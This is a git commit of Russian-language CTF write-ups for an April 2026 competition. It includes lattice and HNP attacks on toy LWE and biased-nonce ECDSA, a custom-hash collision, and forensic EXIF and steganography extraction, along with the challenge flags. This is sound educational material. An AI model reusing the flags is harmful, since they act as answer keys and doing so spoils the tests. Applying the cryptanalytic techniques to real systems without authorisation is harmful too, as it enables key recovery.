Init. commit

This commit is contained in:
Caplag
2026-04-22 10:42:16 +03:00
commit 98e51ca58b
35 changed files with 2371 additions and 0 deletions

65
.gitattributes vendored Normal file
View File

@@ -0,0 +1,65 @@
# Default: auto-detect text files, normalize to LF in the repo
* text=auto eol=lf
# Explicitly text — LF везде
*.md text eol=lf
*.txt text eol=lf
*.py text eol=lf
*.sh text eol=lf
*.bash text eol=lf
*.json text eol=lf
*.yaml text eol=lf
*.yml text eol=lf
*.toml text eol=lf
*.ini text eol=lf
*.cfg text eol=lf
*.gitignore text eol=lf
*.gitattributes text eol=lf
# Windows-only файлы — CRLF
*.bat text eol=crlf
*.cmd text eol=crlf
*.ps1 text eol=crlf
# Бинарники — не трогать EOL, не пытаться diff'ить как текст
*.png binary
*.jpg binary
*.jpeg binary
*.gif binary
*.webp binary
*.ico binary
*.bmp binary
*.tiff binary
*.psd binary
*.pdf binary
*.zip binary
*.tar binary
*.gz binary
*.tgz binary
*.bz2 binary
*.xz binary
*.zst binary
*.7z binary
*.rar binary
*.img binary
*.iso binary
*.dmg binary
*.exe binary
*.dll binary
*.so binary
*.dylib binary
*.a binary
*.o binary
*.elf binary
*.bin binary
*.enc binary
*.pcap binary
*.pcapng binary
*.onnx binary
*.pt binary
*.pth binary
*.pyc binary
*.woff binary
*.woff2 binary
*.ttf binary
*.otf binary

51
.gitignore vendored Normal file
View File

@@ -0,0 +1,51 @@
# macOS
.DS_Store
._*
# Windows
Thumbs.db
Desktop.ini
# Linux
*~
.Trash-*
# Python
__pycache__/
*.py[cod]
*$py.class
*.so
.Python
build/
dist/
*.egg-info/
.eggs/
.pytest_cache/
.mypy_cache/
.ruff_cache/
# Virtual environments
.venv/
venv/
env/
ENV/
# IDE / editor
.vscode/
.idea/
*.swp
*.swo
*.iml
# Jupyter
.ipynb_checkpoints/
# Environment / secrets
.env
.env.local
.env.*.local
*.pem
*.key
# Logs
*.log

101
README.md Normal file
View File

@@ -0,0 +1,101 @@
<p align="center">
<img src="assets/banner.png" alt="Тайна третьей столицы" width="720"/>
</p>
<p align="center"><i>writeups · 12.04.2026</i></p>
<p align="center">
<img src="https://img.shields.io/badge/format-Jeopardy-success" alt="Format"/>
<img src="https://img.shields.io/badge/tasks-21-blue" alt="Tasks"/>
<img src="https://img.shields.io/badge/categories-7-orange" alt="Categories"/>
</p>
Райтапы на соревнования, прошёдшие **12 апреля 2026 года** в день Космонавтики. **Организатор** соревнований [Федерация спортивного программирования Республики Татарстан](https://fsprt.orgs.biz/) (ФСП РТ) при поддержке **платформы** [Caplag](https://caplag.ru/).
## Задания
У каждого задания отдельная папка с названием формате: `{category}-{name}/` с файлом `WRITEUP.md`. Сложность задания и баллы, по котормым он определяется, - динамические. Формат флагов - `caplag{...}`.
> При наличии вспомогательных скриптов (солверы, декодеры и т.п.) - они лежат в подпапке `solve/`.
<details>
<summary><b>Crypto</b> · 3 задачи</summary>
| Баллы | Таск | Описание |
|---:|---|---|
| ![988](https://img.shields.io/badge/988-critical) | [Кристалл](crypto-crystal/WRITEUP.md) | Восстанавливаем секрет самодельного постквантового протокола решёточной атакой. |
| ![852](https://img.shields.io/badge/852-orange) | [Elliptic Enigma](crypto-elliptic-enigma/WRITEUP.md) | Вычисляем приватный ключ ECDSA по подписям с укороченным случайным числом. |
| ![781](https://img.shields.io/badge/781-yellow) | [Digital Fingerprint](crypto-digital-fingerprint/WRITEUP.md) | Ищем пару сообщений с одинаковым хешем и совпадающим байтом контрольной суммы. |
</details>
<details>
<summary><b>Forensic</b> · 2 задачи</summary>
| Баллы | Таск | Описание |
|---:|---|---|
| ![Σ 5520](https://img.shields.io/badge/Σ_5520-orange) | [Needle Harbor](forensic-needle-harbor-lab/WRITEUP.md) | Цепочка из шести тасков по слепку памяти Tails-сессии и образу флешки. |
| ![916](https://img.shields.io/badge/916-orange) | [Пропавший коллега](forensic-missing-colleague/WRITEUP.md) | Собираем флаг из четырёх частей в документах сотрудника. |
</details>
<details>
<summary><b>OSINT</b> · 4 задачи</summary>
| Баллы | Таск | Описание |
|---:|---|---|
| ![975](https://img.shields.io/badge/975-critical) | [Гора](osint-гора/WRITEUP.md) | Ищем дом в Казани по кадру из советского мультфильма. |
| ![866](https://img.shields.io/badge/866-orange) | [Mirror Trace](osint-mirror-trace/WRITEUP.md) | Собираем пароль из кластера доменов с общим сертификатом. |
| ![655](https://img.shields.io/badge/655-yellowgreen) | [Morning Line](osint-morning-line/WRITEUP.md) | По кадру улицы и времени съёмки определяем точные координаты. |
| ![551](https://img.shields.io/badge/551-brightgreen) | [Red Wheelbarrow](osint-redwheelbarrow/WRITEUP.md) | Ищем VIN по кадру машины из фильма. |
</details>
<details>
<summary><b>PWN</b> · 3 задачи</summary>
| Баллы | Таск | Описание |
|---:|---|---|
| ![1000](https://img.shields.io/badge/1000-critical) | [Бортовой Журнал](pwn-бортовой-журнал/WRITEUP.md) | Переписываем таблицу функций сервиса адресом скрытой функции. |
| ![996](https://img.shields.io/badge/996-critical) | [Allocator War](pwn-allocator-war/WRITEUP.md) | Вытаскиваем флаг из буфера, застрявшего в самодельном кеш-аллокаторе. |
| ![946](https://img.shields.io/badge/946-orange) | [Навигация](pwn-навигация/WRITEUP.md) | Через утечку и переполнение подменяем указатель на адрес `win` функции. |
</details>
<details>
<summary><b>Reverse</b> · 4 задачи</summary>
| Баллы | Таск | Описание |
|---:|---|---|
| ![Σ 6991](https://img.shields.io/badge/Σ_6991-critical) | [Alpha Centauri](reverse-umbrella-os-lab/WRITEUP.md) | Цепочка из 7 тасков. |
| ![1000](https://img.shields.io/badge/1000-critical) | [Птица Говорун](reverse-ptitsa-govorun/WRITEUP.md) | Собираем ключ для расшифровки флага из параметров виртуальной машины. |
| ![912](https://img.shields.io/badge/912-orange) | [Ancient Processor](reverse-ancient-processor/WRITEUP.md) | Реверсим побайтовую проверку флага в эмуляторе с самоизменяющимся шифром. |
| ![888](https://img.shields.io/badge/888-orange) | [Dungeon Crawler](reverse-dungeon-crawler/WRITEUP.md) | Находим маршрут в единственном настоящем лабиринте среди четырёх. |
</details>
<details>
<summary><b>Stego</b> · 3 задачи</summary>
| Баллы | Таск | Описание |
|---:|---|---|
| ![979](https://img.shields.io/badge/979-critical) | [Художественная галерея](stego-art-gallery/WRITEUP.md) | Достаём настоящий QR с флагом из третьего скрытого слоя PSD. |
| ![960](https://img.shields.io/badge/960-critical) | [ChinaOwner](stego-china-owner/WRITEUP.md) | Читаем флаг в интервалах времени между сообщениями одного судна. |
| ![799](https://img.shields.io/badge/799-yellow) | [Summer Vacations](stego-summer-vacations/WRITEUP.md) | Вытаскиваем флаг из альфа-канала картинки. |
</details>
<details>
<summary><b>Web</b> · 2 задачи</summary>
| Баллы | Таск | Описание |
|---:|---|---|
| ![979](https://img.shields.io/badge/979-critical) | [UmbrellaBioAccess](web-umbrella-bio-access/WRITEUP.md) | Через инъекцию в базу и дырявое восстановление привязываем свой ключ к директорскому аккаунту. |
| ![804](https://img.shields.io/badge/804-yellow) | [GhostFrame](web-ghostframe/WRITEUP.md) | Реверсим нейросетевой классификатор и собираем картинку под его признаки. |
</details>
---
<p align="center">
<a href="https://caplag.ru/"><img src="assets/caplag-logo.svg" alt="Caplag" height="28"/></a>
</p>

BIN
assets/banner.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 921 KiB

48
assets/caplag-logo.svg Normal file
View File

@@ -0,0 +1,48 @@
<svg width="122" height="32" viewBox="0 0 122 32" fill="none" xmlns="http://www.w3.org/2000/svg">
<g id="Logo">
<g id="Union">
<path d="M5.39725 12.1524H20.0443V0H0.5V16.9956H5.39725V12.1524Z" fill="url(#paint0_linear_904_414)"/>
<path d="M51.0486 15.7199V16.9039C51.0486 19.4693 50.4528 21.3933 49.2612 22.6759C48.0696 23.9586 46.4311 24.6 44.3458 24.6C42.2605 24.6 40.6221 23.9586 39.4305 22.6759C38.2388 21.3933 37.643 19.4693 37.643 16.9039V9.50386C37.643 6.91878 38.2388 4.99477 39.4305 3.73183C40.6221 2.44915 42.2605 1.80782 44.3458 1.80782C46.4311 1.80782 48.0696 2.44915 49.2612 3.73183C50.4528 4.99477 51.0486 6.91878 51.0486 9.50386V10.3919H47.4738V9.50386C47.4738 7.82652 47.1957 6.67212 46.6397 6.04064C46.1034 5.38944 45.3388 5.06383 44.3458 5.06383C43.3727 5.06383 42.6081 5.38944 42.052 6.04064C41.4959 6.67212 41.2179 7.82652 41.2179 9.50386V16.9039C41.2179 18.5813 41.4959 19.7455 42.052 20.3967C42.6081 21.0282 43.3727 21.3439 44.3458 21.3439C45.319 21.3439 46.0836 21.0282 46.6397 20.3967C47.1957 19.7455 47.4738 18.5813 47.4738 16.9039V15.7199H51.0486Z" fill="url(#paint1_linear_904_414)"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M57.999 24.6C57.145 24.6 56.3308 24.452 55.5562 24.1559C54.8016 23.86 54.1859 23.3962 53.7093 22.7647C53.2326 22.1333 52.9943 21.3242 52.9943 20.3375C52.9943 19.2719 53.2227 18.4431 53.6795 17.8511C54.1561 17.2394 54.7618 16.7855 55.4966 16.4895C56.2315 16.1738 57.006 15.9468 57.8203 15.8087C58.6544 15.6706 59.4389 15.5522 60.1737 15.4535C60.9085 15.3351 61.5043 15.1674 61.9611 14.9503C62.4378 14.7135 62.6761 14.3484 62.6761 13.8551C62.6761 13.2828 62.408 12.8388 61.8717 12.5231C61.3554 12.1876 60.7099 12.0199 59.9354 12.0199C59.1211 12.0199 58.4558 12.2369 57.9394 12.6711C57.4231 13.0855 57.1649 13.7071 57.1649 14.5359H53.4411C53.4411 13.2532 53.749 12.2271 54.3646 11.4575C54.9803 10.6681 55.7846 10.0959 56.7776 9.74067C57.7706 9.38547 58.8232 9.20786 59.9354 9.20786C61.0277 9.20786 62.0505 9.36573 63.0038 9.68146C63.9769 9.9972 64.7614 10.5103 65.3572 11.2207C65.953 11.9113 66.2509 12.8388 66.2509 14.0031V24.304H62.7357V22.1135C62.259 22.9818 61.6036 23.6133 60.7695 24.0079C59.9552 24.4026 59.0318 24.6 57.999 24.6ZM56.6585 20.1007C56.6585 20.6138 56.8571 20.9986 57.2543 21.2551C57.6515 21.5117 58.148 21.6399 58.7438 21.6399C59.4389 21.6399 60.0843 21.5117 60.6801 21.2551C61.2958 20.9986 61.7923 20.6138 62.1697 20.1007C62.547 19.5877 62.7357 18.9562 62.7357 18.2063V17.5255C62.1399 17.782 61.4944 17.9695 60.7993 18.0879C60.1042 18.2063 59.4389 18.3346 58.8034 18.4727C58.1678 18.5911 57.6515 18.7786 57.2543 19.0351C56.8571 19.2719 56.6585 19.6271 56.6585 20.1007Z" fill="url(#paint2_linear_904_414)"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M68.9262 31.704H72.501V22.4391C73.0571 23.1298 73.7125 23.6626 74.4672 24.0376C75.2417 24.4125 76.0758 24.6 76.9695 24.6C78.3399 24.6 79.5613 24.2744 80.6337 23.6231C81.7062 22.9719 82.5502 22.0642 83.1659 20.8999C83.8014 19.7357 84.1192 18.4037 84.1192 16.9039C84.1192 15.3844 83.8014 14.0524 83.1659 12.9079C82.5502 11.7436 81.7062 10.8359 80.6337 10.1847C79.5613 9.53346 78.3399 9.20786 76.9695 9.20786C76.0758 9.20786 75.2417 9.39533 74.4672 9.77026C73.7125 10.1452 73.0571 10.678 72.501 11.3687V9.50386H68.9262V31.704ZM79.3825 20.1303C78.6278 20.9394 77.6746 21.3439 76.5227 21.3439C75.3708 21.3439 74.4076 20.9394 73.633 20.1303C72.8784 19.3015 72.501 18.226 72.501 16.9039C72.501 15.562 72.8784 14.4866 73.633 13.6775C74.4076 12.8684 75.3708 12.4639 76.5227 12.4639C77.6746 12.4639 78.6278 12.8684 79.3825 13.6775C80.1571 14.4866 80.5443 15.562 80.5443 16.9039C80.5443 18.226 80.1571 19.3015 79.3825 20.1303Z" fill="url(#paint3_linear_904_414)"/>
<path d="M89.6373 24.304H86.0625V2.10382H89.6373V24.304Z" fill="url(#paint4_linear_904_414)"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M94.4266 24.1559C95.2011 24.452 96.0154 24.6 96.8694 24.6C97.9021 24.6 98.8256 24.4026 99.6398 24.0079C100.474 23.6133 101.129 22.9818 101.606 22.1135V24.304H105.121V14.0031C105.121 12.8388 104.823 11.9113 104.228 11.2207C103.632 10.5103 102.847 9.9972 101.874 9.68146C100.921 9.36573 99.898 9.20786 98.8057 9.20786C97.6936 9.20786 96.641 9.38547 95.648 9.74067C94.655 10.0959 93.8506 10.6681 93.235 11.4575C92.6193 12.2271 92.3115 13.2532 92.3115 14.5359H96.0352C96.0352 13.7071 96.2934 13.0855 96.8098 12.6711C97.3261 12.2369 97.9914 12.0199 98.8057 12.0199C99.5803 12.0199 100.226 12.1876 100.742 12.5231C101.278 12.8388 101.546 13.2828 101.546 13.8551C101.546 14.3484 101.308 14.7135 100.831 14.9503C100.375 15.1674 99.7789 15.3351 99.044 15.4535C98.3092 15.5522 97.5247 15.6706 96.6906 15.8087C95.8764 15.9468 95.1018 16.1738 94.367 16.4895C93.6322 16.7855 93.0264 17.2394 92.5498 17.8511C92.093 18.4431 91.8646 19.2719 91.8646 20.3375C91.8646 21.3242 92.1029 22.1333 92.5796 22.7647C93.0562 23.3962 93.6719 23.86 94.4266 24.1559ZM96.1246 21.2551C95.7274 20.9986 95.5288 20.6138 95.5288 20.1007C95.5288 19.6271 95.7274 19.2719 96.1246 19.0351C96.5218 18.7786 97.0382 18.5911 97.6737 18.4727C98.3092 18.3346 98.9745 18.2063 99.6696 18.0879C100.365 17.9695 101.01 17.782 101.606 17.5255V18.2063C101.606 18.9562 101.417 19.5877 101.04 20.1007C100.663 20.6138 100.166 20.9986 99.5505 21.2551C98.9547 21.5117 98.3092 21.6399 97.6141 21.6399C97.0183 21.6399 96.5218 21.5117 96.1246 21.2551Z" fill="url(#paint5_linear_904_414)"/>
<path fill-rule="evenodd" clip-rule="evenodd" d="M113.457 20.0415C112.623 20.0415 111.828 19.9034 111.073 19.6271C110.716 19.7061 110.428 19.8738 110.21 20.1303C109.991 20.3671 109.882 20.6631 109.882 21.0183C109.882 21.4722 110.051 21.8373 110.388 22.1135C110.746 22.3898 111.272 22.5279 111.967 22.5279H114.887C116.475 22.5279 117.737 22.7351 118.67 23.1495C119.623 23.5442 120.308 24.0968 120.725 24.8072C121.143 25.5176 121.351 26.3365 121.351 27.264C121.351 28.6453 120.755 29.78 119.564 30.668C118.392 31.556 116.535 32 113.993 32H113.606C111.163 32 109.356 31.6152 108.184 30.8456C107.032 30.0957 106.456 29.1485 106.456 28.004C106.456 27.3725 106.655 26.8002 107.052 26.2872C107.469 25.7741 108.015 25.3597 108.69 25.044C108.075 24.7282 107.598 24.3138 107.26 23.8007C106.923 23.268 106.754 22.6759 106.754 22.0247C106.754 21.2354 106.982 20.5546 107.439 19.9823C107.916 19.3903 108.581 18.9562 109.435 18.6799C108.839 18.2063 108.363 17.6242 108.005 16.9335C107.667 16.2428 107.499 15.4732 107.499 14.6247C107.499 13.5591 107.767 12.6217 108.303 11.8127C108.839 11.0036 109.554 10.3721 110.448 9.91826C111.361 9.44466 112.364 9.20786 113.457 9.20786C114.33 9.20786 115.145 9.35586 115.899 9.65187C116.674 9.94786 117.329 10.3721 117.866 10.9247L118.491 9.97747C118.69 9.70119 118.888 9.50386 119.087 9.38547C119.286 9.26706 119.584 9.20786 119.981 9.20786H121.5V12.8487H119.117C119.315 13.4012 119.415 13.9932 119.415 14.6247C119.415 15.6903 119.147 16.6375 118.61 17.4663C118.074 18.2754 117.349 18.9069 116.436 19.3607C115.542 19.8146 114.549 20.0415 113.457 20.0415ZM113.457 17.0519C114.191 17.0519 114.797 16.825 115.274 16.3711C115.751 15.9172 115.989 15.3351 115.989 14.6247C115.989 13.9143 115.751 13.3322 115.274 12.8783C114.817 12.4244 114.211 12.1975 113.457 12.1975C112.722 12.1975 112.116 12.4244 111.639 12.8783C111.163 13.3322 110.924 13.9143 110.924 14.6247C110.924 15.3351 111.163 15.9172 111.639 16.3711C112.116 16.825 112.722 17.0519 113.457 17.0519ZM113.904 29.04H113.993C115.542 29.04 116.585 28.8624 117.121 28.5072C117.657 28.152 117.925 27.7178 117.925 27.2048C117.925 26.7509 117.667 26.376 117.151 26.08C116.634 25.784 115.78 25.636 114.589 25.636H113.189C111.977 25.636 111.113 25.784 110.597 26.08C110.1 26.376 109.852 26.7509 109.852 27.2048C109.852 27.5402 109.961 27.8461 110.18 28.1224C110.418 28.4184 110.825 28.6453 111.401 28.8032C111.997 28.9611 112.831 29.04 113.904 29.04Z" fill="url(#paint6_linear_904_414)"/>
<path d="M29.8164 29.1258H10.2721V16.9956H24.9191V12.1524H29.8164V29.1258Z" fill="url(#paint7_linear_904_414)"/>
</g>
</g>
<defs>
<linearGradient id="paint0_linear_904_414" x1="0.500001" y1="-10.6306" x2="129.462" y2="46.8329" gradientUnits="userSpaceOnUse">
<stop stop-color="#80FF00"/>
<stop offset="1" stop-color="#E1FF00"/>
</linearGradient>
<linearGradient id="paint1_linear_904_414" x1="0.500001" y1="-10.6306" x2="129.462" y2="46.8329" gradientUnits="userSpaceOnUse">
<stop stop-color="#80FF00"/>
<stop offset="1" stop-color="#E1FF00"/>
</linearGradient>
<linearGradient id="paint2_linear_904_414" x1="0.500001" y1="-10.6306" x2="129.462" y2="46.8329" gradientUnits="userSpaceOnUse">
<stop stop-color="#80FF00"/>
<stop offset="1" stop-color="#E1FF00"/>
</linearGradient>
<linearGradient id="paint3_linear_904_414" x1="0.500001" y1="-10.6306" x2="129.462" y2="46.8329" gradientUnits="userSpaceOnUse">
<stop stop-color="#80FF00"/>
<stop offset="1" stop-color="#E1FF00"/>
</linearGradient>
<linearGradient id="paint4_linear_904_414" x1="0.500001" y1="-10.6306" x2="129.462" y2="46.8329" gradientUnits="userSpaceOnUse">
<stop stop-color="#80FF00"/>
<stop offset="1" stop-color="#E1FF00"/>
</linearGradient>
<linearGradient id="paint5_linear_904_414" x1="0.500001" y1="-10.6306" x2="129.462" y2="46.8329" gradientUnits="userSpaceOnUse">
<stop stop-color="#80FF00"/>
<stop offset="1" stop-color="#E1FF00"/>
</linearGradient>
<linearGradient id="paint6_linear_904_414" x1="0.500001" y1="-10.6306" x2="129.462" y2="46.8329" gradientUnits="userSpaceOnUse">
<stop stop-color="#80FF00"/>
<stop offset="1" stop-color="#E1FF00"/>
</linearGradient>
<linearGradient id="paint7_linear_904_414" x1="0.500001" y1="-10.6306" x2="129.462" y2="46.8329" gradientUnits="userSpaceOnUse">
<stop stop-color="#80FF00"/>
<stop offset="1" stop-color="#E1FF00"/>
</linearGradient>
</defs>
</svg>

After

Width:  |  Height:  |  Size: 9.5 KiB

55
crypto-crystal/WRITEUP.md Normal file
View File

@@ -0,0 +1,55 @@
<h1 align="center">Кристалл</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-Crypto-blueviolet" alt="Crypto"/>
<img src="https://img.shields.io/badge/points-988-critical" alt="988 pts"/>
</p>
Перед нами реализация какого-то постквантового протокола и файл `output.json`. На первый взгляд это что-то в духе Kyber/ML-KEM: публичная матрица `G`, секретный вектор `k`, маленький шум `delta` и публичный ответ:
$$\mathrm{response} = G \cdot k + \delta \pmod{q}$$
Флаг зашифрован AES-GCM, ключ AES получается из самого `k`, так что вся задача сводится к восстановлению секрета. Ищем и смотрим за что можно зацепиться:
| Параметр | Значение |
|---|---|
| `n` (длина секрета) | 90 |
| `m` (число уравнений) | 180 |
| `q` (модуль) | 3329 |
| шум `delta` | `[-3, 3]` |
| секрет `k` | тернарный: `-1`, `0`, `1` |
Для настоящего Kyber это слишком маленькие значения, высокая размерность делает [LWE](https://en.wikipedia.org/wiki/Learning_with_errors) стойким, а здесь её банально не хватает. Значит, решение — решёточная редукция.
## Решение
В `output.json` лежат параметры протокола, матрица `G` размера `180 × 90`, вектор `response` и артефакты AES-GCM (`nonce`, `sealed_data`, `integrity`). Секрет, понятно, в явном виде не выдан, но он связан с публичными данными системой уравнений с маленькой ошибкой.
Обращаемся к **Kannan's embedding**. Берём первые $m' = n = 90$ уравнений и строим решётку размерности $d = m' + n + 1 = 181$ с базисом:
$$
B = \begin{bmatrix}
q \cdot I & 0 & 0 \\
G^{\top} & I & 0 \\
\mathrm{response} & 0 & 1
\end{bmatrix}
$$
> Идея **Kannan's embedding** простая: добавить к базису строку с публичным $\mathrm{response}$ и единицей в нижнем углу — тогда вектор $(\delta,\, -k,\, 1)$ автоматически оказывается в решётке, и он короткий именно потому, что $\delta$ и $k$ малы. *Подробнее*: [Galbraith, §18.2](https://www.math.auckland.ac.nz/~sgal018/crypto-book/ch18.pdf).
Внутри решётки сидит очень короткий вектор $(\delta,\, -k,\, 1)$: $\delta$ маленький, $k$ состоит только из $\{-1, 0, 1\}$, так что он заметно короче случайных векторов базиса. После LLL/BKZ он всплывает в редуцированном базисе. Остаётся пройтись по строкам, у которых последний элемент равен $\pm 1$, и достать кандидата:
```python
k[j] = -sign * row[m_prime + j]
```
Проверим результат. Кандидат должен быть тернарным, плюс разница $(\mathrm{response}_i - G_i \cdot k) \bmod q$ на всех 180 уравнениях обязана укладываться в $[-3, 3]$. Когда правильный `k` найден, AES-ключ считается точно так же, как в `chall.py`:
```python
aes_key = sha256(json.dumps(k, sort_keys=True).encode()).digest()[:16]
```
Обычный `AES.MODE_GCM` с сохранённым `nonce` отдаёт флаг.
## Флаг
`caplag{DOVY5xkLn1zcGGYGe1gW4OnXYg1AQsLs}`

View File

@@ -0,0 +1,50 @@
<h1 align="center">Digital Fingerprint</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-Crypto-blueviolet" alt="Crypto"/>
<img src="https://img.shields.io/badge/points-781-yellow" alt="781 pts"/>
</p>
Есть два файла: `hashlib_custom.py` с реализацией кастомного `CaPlagHash64` и `verify.py`, который регистрирует и проверяет решение. По названию как будто бы нужно найти коллизию, но это не все. Если просто собрать две разные строки с одинаковым хешем и отправить, `verify.py` скажет, что «ты близко», но флаг не отдаст. Читаем верификатор внимательнее и видим вторую проверку:
| Требование | Описание |
|---|---|
| Префикс | оба сообщения начинаются с `CAPLAG:` |
| Различие | `msg1 != msg2` |
| Коллизия | `caplag_hash(msg1) == caplag_hash(msg2)` |
| CRC-фильтр | `CRC32(msg) & 0xff == 0` для обоих |
## Решение
Начнём с хеша — его нужно разобрать и найти, где он прогибается. Функция сжатия:
$$\mathrm{compress}(s, b) = \bigl((s \cdot A + b) \oplus B\bigr) \bmod 2^{64}$$
XOR с константой $B$ вроде бы делает функцию нелинейной, но сам $B$ фиксирован — значит, это просто сдвиг, и структура остаётся почти линейной. Можно обойтись без перебора.
> **Multi-block collision в [MerkleDamgård](https://en.wikipedia.org/wiki/Merkle%E2%80%93Damg%C3%A5rd_construction)-хеше.** При фиксированном состоянии $s$ функция $\mathrm{compress}(s, b) = (s \cdot A + b) \oplus B$ — биекция по $b$ с обратимой структурой. Для любых двух состояний после первого блока всегда можно подобрать второй блок, чтобы их уравнять. Коллизия строится алгебраически за одно вычисление.
Строим коллизию из двух блоков после общего префикса `CAPLAG:\x00`. Префикс одинаковый, значит после первого блока состояние тоже одинаковое:
$$s_0 = \mathrm{compress}(\mathrm{IV},\, \mathrm{prefix\_block})$$
Выбираем два разных блока $b_{1a}$ и $b_{1b}$, получаем два разных состояния $s_{1a}$ и $s_{1b}$. Теперь хотим, чтобы следующий раунд их обратно уравнял:
$$\mathrm{compress}(s_{1a}, b_{2a}) = \mathrm{compress}(s_{1b}, b_{2b})$$
Раскрываем формулу сжатия — и получаем красивую связь:
$$b_{2b} = b_{2a} + (s_{1a} - s_{1b}) \cdot A \pmod{2^{64}}$$
То есть $b_{1a}$, $b_{1b}$ и $b_{2a}$ можно брать любые, а $b_{2b}$ просто вычисляется.
Вторая часть — CRC32. Просто дописать хвост, чтобы подогнать CRC, не получится: сломается сам хеш. Идем в лоб, коллизии строятся мгновенно, поэтому гоняем генератор в цикле и ждём, пока оба сообщения случайно попадут под `CRC32(msg) & 0xff == 0`. Вероятность для одной пары:
$$P = \frac{1}{256} \cdot \frac{1}{256} = \frac{1}{65536}$$
Отправляем подходящую её в `verify.py`, получаем флаг.
> `verify.py` считает флаг как функцию от найденного `collision_hash`, так что его конкретное значение зависит от того, какую именно коллизию вы нашли. Поэтому флаг - регулярное выражение.
## Флаг
`caplag{...}` (значение зависит от найденной коллизии, принимается по regex)

View File

@@ -0,0 +1,51 @@
<h1 align="center">Elliptic Enigma</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-Crypto-blueviolet" alt="Crypto"/>
<img src="https://img.shields.io/badge/points-852-orange" alt="852 pts"/>
</p>
В руках два файла:
| Файл | Что внутри |
|---|---|
| `public/server.py` | Код сервера подписи |
| `public/signatures.json` | Параметры кривой, публичный ключ, 30 подписей, шифротекст флага |
ECDSA на кастомной эллиптической кривой — смотрим генерацию nonce `k`, обычно вся соль в нём.
## Решение
В коде сервера:
```python
k = random.getrandbits(120)
```
Порядок группы `n` — 128 бит. У каждого `k` старшие 8 бит тупо равны нулю. Даже небольшая утечка нескольких бит nonce, размазанная по десяткам подписей, приводит прямиком к [Hidden Number Problem](https://link.springer.com/chapter/10.1007/3-540-68697-5_11), а HNP классически решается решёточной редукцией ([LLL](https://en.wikipedia.org/wiki/Lenstra%E2%80%93Lenstra%E2%80%93Lov%C3%A1sz_lattice_basis_reduction_algorithm)).
Стандартная ECDSA-подпись: для сообщения с хешем $z$ считается
$$s = k^{-1}(z + r \cdot d) \pmod{n}$$
Откуда чистой алгеброй:
$$k = s^{-1} z + s^{-1} r d \pmod{n}$$
Обозначим $t_i = s_i^{-1} r_i \pmod{n}$ и $u_i = s_i^{-1} z_i \pmod{n}$, и для каждой подписи получаем уравнение вида
$$k_i = u_i + t_i \cdot d \pmod{n}, \qquad k_i < 2^{120}$$
Получили классическую постановку HNP: много сравнений по модулю $n$, а сами скрытые числа маленькие.
Дальше — стандартный пайплайн:
1. Загружаем подписи из `signatures.json`.
2. Для каждого сообщения считаем `z_i` так же, как сервер: `SHA-256`, первые 16 байт.
3. Вычисляем `t_i` и `u_i`.
4. Собираем из них решётку для LLL и запускаем редукцию.
5. Из редуцированного базиса вытаскиваем кандидатов на приватный ключ `d`.
6. С `d` на руках расшифровываем флаг: `AES-256-CBC(SHA256(d), iv=0, ciphertext)`.
## Флаг
`caplag{b14s3d_n0nc3_l4tt1c3_r3duc710n}`

View File

@@ -0,0 +1,72 @@
<h1 align="center">Пропавший коллега</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-Forensic-blueviolet" alt="Forensic"/>
<img src="https://img.shields.io/badge/points-916-orange" alt="916 pts"/>
</p>
В руках — пачка артефактов сотрудника компании NordTech:
| Артефакт | Что содержит |
|---|---|
| `resume.pdf` | Резюме, ID сотрудника `NT-3893` |
| `business_card.png` | Визитка с ИНН |
| `commits.log` | Лог коммитов внутреннего репозитория |
| `profile_photo.jpg` | Фото с EXIF |
| `postal_codes.csv` | База почтовых индексов с координатами |
| `repo_snapshot.txt` | Снимок внешнего репозитория |
| `browser_render.png` | Скриншот из браузера |
Флаг собирается из четырёх частей, и каждая спрятана в своей цепочке.
## Решение
**Часть 1 — `br34d`.** В `resume.pdf` в профиле сотрудника указан ID `NT-3893`. В `business_card.png` — ИНН `7707083893`, и последние четыре цифры совпадают с ID. Сотрудник привязан к NordTech. Лезем в `commits.log`:
```text
feat(NT-3893): integrate module-br34d
```
Регуляркой `feat\(NT-3893\): integrate module-(\w+)` выдёргиваем кодовое слово — `br34d`.
**Часть 2 — `crumbs`.** Из EXIF `profile_photo.jpg` вытаскиваем GPS, конвертируем DMS в десятичные:
```text
55.7616 N, 37.6385 E → район Чистопрудного бульвара, Москва
```
Идём в `postal_codes.csv` и ищем ближайшую точку по манхэттенскому расстоянию. Находится запись:
```text
postal_code = 101000
sector_code = 6372756d6273
```
Декодируем hex → ASCII:
```text
63 72 75 6d 62 73 → c r u m b s
```
Вторая часть — `crumbs`.
**Часть 3 — `l34d` .** В `commits.log` кроме «нашего» коммита торчит отсылка на внешний репо вида `See commit <sha> in <repo>`. Вытаскиваем короткий SHA (7 символов) и имя репо регуляркой `See commit\s+(\w+)\s+in\s+([\w\-\.\/]+)`. Идём в `repo_snapshot.txt` и находим блок именно этого коммита (от нашего SHA до следующего полного 40-символьного). Внутри блока ищем base64-строки длиной от 20 символов — одна декодируется в:
```text
module-l34d-integration-v2.1.0
```
Первый сегмент после `module-` до дефиса — `l34d`.
**Часть 4 — `h0m3`.** Открываем картинку в RGBA через PIL, разворачиваем красный канал в одномерный массив, идём по пикселям и забираем младшие биты. Каждые 8 подряд складываются в байт (MSB первым). Нулевой байт — маркер конца. *Есть один мелкий нюанс*: сырой вывод начинается с трассировочного префикса вида `[N/4]`его срезаем регуляркой `\[\d/\d\](.*)`. Остаётся `h0m3`.
Склеиваем через `_`:
```text
br34d + crumbs + l34d + h0m3 = br34d_crumbs_l34d_h0m3
```
Готовый солвер — [`solve/solver.py`](solve/solver.py).
## Флаг
`caplag{br34d_crumbs_l34d_h0m3}`

View File

@@ -0,0 +1,204 @@
#!/usr/bin/env python3
import base64
import csv
import re
import os
from pathlib import Path
PUBLIC_DIR = Path(__file__).resolve().parent.parent / "public"
def extract_part1_br34d():
"""
Часть 1: 'br34d'
Цепочка: resume.pdf -> ID сотрудника 'NT-3893'
business_card.png -> ИНН 7707083893 (последние 4 цифры = 3893, подтверждает связь с NordTech)
commits.log -> тикет NT-3893 ссылается на 'module-br34d'
"""
print("[Шаг 1] Извлечение части 1: br34d")
employee_id = "NT-3893"
print(f" [1a] resume.pdf — ID сотрудника: {employee_id}")
